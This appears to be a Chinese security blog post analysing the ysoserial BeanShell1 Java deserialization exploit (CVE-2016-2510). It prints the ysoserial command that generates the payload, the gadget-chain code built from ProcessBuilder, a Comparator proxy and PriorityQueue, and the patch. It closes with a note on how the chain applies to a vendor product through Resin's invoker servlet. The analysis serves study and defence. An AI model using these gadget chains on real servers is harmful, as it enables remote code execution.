这一年来学习Java相关知识,然后我发现了网上绝大多数人分析Java反序列化时候都是从 commons-collections 入手,但是我当初搞懂这个时候真的花了快一个月的晚上时间,太难了。
ysoserial 这个是一个伟大的反序列化利用工具集,当初学习时候就想着把里面的每个payload都拿出来看看,了解漏洞原理,了解为什么这么构造。
环境搭建很简单
//pom.xml
<!-- https://mvnrepository.com/artifact/org.beanshell/bsh (beanshell1)-->
<dependency>
<groupId>org.beanshell</groupId>
<artifactId>bsh</artifactId>
<version>2.0b5</version>
</dependency>
这里提一个题外话,如果新手不知道如何pom文件里面的 groupId 和 artifactId 是什么的时候,可以在这里进行搜索,然后随便点一个版本进来就知道了。
然后自己写一个反序列化方法就好了。
//Deserialize.java import java.io.*; public class Deserialize{ public static void main(String args[]) throws Exception{ //从文件中反序列化obj对象 FileInputStream fis = new FileInputStream("/Users/l1nk3r/Desktop/test.txt"); ObjectInputStream ois = new ObjectInputStream(fis); //恢复对象 Object objectFromDisk = (Object)ois.readObject(); ois.close(); } } //Object.java import java.io.IOException; import java.io.Serializable; class Object implements Serializable{ //重写readObject()方法 private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{ //执行默认的readObject()方法 in.defaultReadObject(); } }
java -jar ysoserial-master-55f1e7c35c-1.jar BeanShell1 "open /System/Applications/Calculator.app" > test.txt
构造之前实际上Beanshell这个东西支持按照Java语法动态执行Java代码。
这部分是 BeanShell1 利用的核心部分
我们拆开来看,首先把命令拼接之后交给 eval 进行执行。
String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" + Strings.join( // does not support spaces in quotes Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")), ",", "\"", "\"") + "}).start();return new Integer(1);}"; // Create Interpreter Interpreter i = new Interpreter(); // Evaluate payload i.eval(payload);
通过反射方式取出一个,取出XThis
的成员变量invocationHandler
。在java的动态代理机制中,有两个重要的类或接口,一个是InvocationHandler(Interface)
、另一个则是Proxy(Class)
,这一个类和接口是实现我们动态代理所必须用到的。
// Create InvocationHandler XThis xt = new XThis(i.getNameSpace(), i); InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
下面其实需要细细品一下,主要是有一个关键部分是 PriorityQueue 。
// Create Comparator Proxy Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler); // Prepare Trigger Gadget (will call Comparator.compare() during deserialization) final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator); Object[] queue = new Object[] {1,1}; Reflections.setFieldValue(priorityQueue, "queue", queue); Reflections.setFieldValue(priorityQueue, "size", 2); return priorityQueue;
在这个项目里遇到了挺多利用这个来构造利用链的,跟进一下PriorityQueue,实际上这个类当中也有实现readObject方法。
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject(); // Read in (and discard) array length s.readInt(); queue = new Object[size]; // Read in all elements. for (int i = 0; i < size; i++) queue[i] = s.readObject(); // Elements are guaranteed to be in "proper order", but the // spec has never explained what that might be. heapify(); }
整个调用过程简化一下就是 heapify=>siftDown=>siftDownUsingComparator=>comparator.compare 。
@SuppressWarnings("unchecked") private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); } private void siftDown(int k, E x) { if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x); } @SuppressWarnings("unchecked") private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x; }
所以简单来说到这里实际上能理解这个POC为什么这么写了。通过把命令执行部分封装成 compare 函数,通过反射获取的 invocationHandler 把通过动态代理的方式构造成 Comparator 的对象,然后再把这个对象甩给 PriorityQueue 中的 comparator 对象。最后在反序列化 PriorityQueue 过程中当流程走到comparator.compare
的时候,会进入 Handler 中的 invoke 方法:
在 invokeImpl 方法中会判断一些方法名不等于toString,然后就会调用 invokeMethod 方法。
最后会根据 compare 获取到我们刚刚创建的 compare 方法部分。
自然会触发相关利用代码,真的是妙啊。
漏洞修复实际上就是在 invocationHandler 中加上 transient 这个关键词的屏蔽,导致了在动态代理过程中没办法跳到我们的利用链。
小结一下就是这个洞构造过程中利用动态代理以及 PriorityQueue 过程中调用方法,最后构造出一条有趣的利用链,而解决方式也很简单粗暴,增加一个 transient 关键字。
PriorityQueue类经过构造可以调用成员变量的Comparator.compare()
和Comparator.compareTo()
方法,反序列化过程中可以考虑拿这个作为跳板。
某微之前的 BeanShell RCE 的问题实际上和这个有点像,也有点不一样,本质上是因为 bsh.servlet.BshServlet 是支持通过网页的方式写入代码执行调试。但是某微采用 resin 作为中间件,并且配置了一条这个
<web-app id="/" root-directory="xxxx">
<servlet-mapping url-pattern='/xxx/*' servlet-name='invoker'/>
</web-app>
这个的作用就是只要你访问www.test.com/xxx/com.test.test
,只要这个com.test.test
能够处理Servlet请求,就如下面这个代码一样,就能够触发了。
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this.doGet(request, response); }
所以这也解释了为什么这个 bsh-2.0b5.jar 在 resin 的lib目录下也能够利用的问题了,当然某微也有反序列化,也能用这个payload打,话就说这么多了。
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2510